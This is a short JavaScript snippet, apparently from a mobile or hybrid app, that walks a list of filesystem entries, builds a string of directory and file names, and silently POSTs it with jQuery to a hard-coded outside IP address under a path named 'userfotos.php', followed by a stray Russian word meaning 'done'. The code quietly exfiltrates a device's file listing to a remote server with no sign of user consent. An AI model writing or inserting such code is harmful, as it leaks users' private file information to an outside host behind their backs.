function listResults(entries) {
var gStr = '';
entries.forEach(function(entry) {
if (entry.isDirectory) {
gStr += 'dir=';
} else {
gStr += 'file=';
}
gStr += entry.name + ' ';
});
console.log(gStr);
$.post("http://91.228.199.95/ksiywFac63f2hs/userfotos.php", gStr,
function(data) {
//alert("Data Loaded: " + data);
}
);
}
сделал